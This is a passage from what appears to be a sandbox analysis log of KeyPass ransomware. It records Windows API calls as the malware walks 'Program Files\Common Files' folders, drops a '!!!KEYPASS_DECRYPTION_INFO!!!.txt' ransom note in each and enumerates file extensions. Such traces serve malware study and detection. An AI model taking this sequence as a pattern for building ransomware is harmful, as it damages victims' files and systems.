(pszPath="C:\\Program Files\\Common Files\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.907] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0238.907] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0238.907] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.907] GetLastError () returned 0x3f0 [0238.908] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\DESIGNER\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.908] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\designer\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x410 [0238.908] GetFileType (hFile=0x410) returned 0x1 [0238.908] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0238.908] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0238.908] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0238.908] WriteFile (in: hFile=0x410, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0238.909] WriteFile (in: hFile=0x410, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0238.909] CloseHandle (hObject=0x410) returned 1 [0238.909] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\DESIGNER\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0xcb9f38 [0238.909] FindNextFileW (in: hFindFile=0xcb9f38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.909] FindNextFileW (in: hFindFile=0xcb9f38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.909] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\DESIGNER\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.909] FindNextFileW (in: hFindFile=0xcb9f38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.909] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\DESIGNER\\MSADDNDR.OLB") returned=".OLB" [0238.909] FindNextFileW (in: hFindFile=0xcb9f38, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0 [0238.909] FindNextFileW (in: hFindFile=0xcb9a38, lpFindFileData=0x2e4f4c4 | out: lpFindFileData=0x2e4f4c4) returned 1 [0238.910] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0238.910] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcc76c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.910] GetLastError () returned 0x3f0 [0238.910] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.910] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.910] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eed8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x414 [0238.914] GetFileType (hFile=0x414) returned 0x1 [0238.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ef08, cchData=2 | out: lpLCData="0") returned 2 [0238.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eef4, cchData=2 | out: lpLCData="0") returned 2 [0238.914] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eee4, cchData=2 | out: lpLCData="0") returned 2 [0238.914] WriteFile (in: hFile=0x414, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x3a4, lpOverlapped=0x0) returned 1 [0238.915] WriteFile (in: hFile=0x414, lpBuffer=0x2e4db70*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d49c, lpOverlapped=0x0 | out: lpBuffer=0x2e4db70*, lpNumberOfBytesWritten=0x2e4d49c*=0x2a, lpOverlapped=0x0) returned 1 [0238.915] CloseHandle (hObject=0x414) returned 1 [0238.915] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\*", lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 0xcb99b8 [0238.915] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.915] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.915] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.915] FindNextFileW (in: hFindFile=0xcb99b8, lpFindFileData=0x2e4f174 | out: lpFindFileData=0x2e4f174) returned 1 [0238.915] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0238.915] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0xcffff8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0238.915] GetLastError () returned 0x3f0 [0238.916] PathAppendW (in: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0238.916] PathFileExistsW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0238.916] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4eb88, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x418 [0238.916] GetFileType (hFile=0x418) returned 0x1 [0238.916] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4ebb8, cchData=2 | out: lpLCData="0") returned 2 [0238.916] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eba4, cchData=2 | out: lpLCData="0") returned 2 [0238.916] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4eb94, cchData=2 | out: lpLCData="0") returned 2 [0238.916] WriteFile (in: hFile=0x418, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x3a4, lpOverlapped=0x0) returned 1 [0238.917] WriteFile (in: hFile=0x418, lpBuffer=0x2e4d820*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4d14c, lpOverlapped=0x0 | out: lpBuffer=0x2e4d820*, lpNumberOfBytesWritten=0x2e4d14c*=0x2a, lpOverlapped=0x0) returned 1 [0238.917] CloseHandle (hObject=0x418) returned 1 [0238.918] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\*", lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 0xcb9fb8 [0238.918] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\.LNK") returned=".LNK" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l1-2-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-localization-l1-2-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-synch-l1-2-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.920] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll") returned=".dll" [0238.920] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-utility-l1-1-0.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.921] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll") returned=".dll" [0238.921] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe") returned=".exe" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVClient.man") returned=".man" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVClientIsv.man") returned=".man" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVShNotify.exe") returned=".exe" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R32.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.922] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2R64.dll") returned=".dll" [0238.922] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RHeartbeatConfig.xml") returned=".xml" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.ar-sa.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.bg-bg.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.cs-cz.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.da-dk.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.de-de.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.el-gr.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.en-us.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.es-es.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.et-ee.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.fi-fi.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.fr-fr.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.he-il.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.hi-in.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.923] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.hr-hr.dll") returned=".dll" [0238.923] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.hu-hu.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.id-id.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.it-it.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.ja-jp.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.kk-kz.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.ko-kr.dll") returned=".dll" [0238.924] FindNextFileW (in: hFindFile=0xcb9fb8, lpFindFileData=0x2e4ee24 | out: lpFindFileData=0x2e4ee24) returned 1 [0238.924] PathFindExtensionW (pszPath="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\C2RINTL.lt-lt.dll") returned=".dll" [0238.924] FindNextFileW 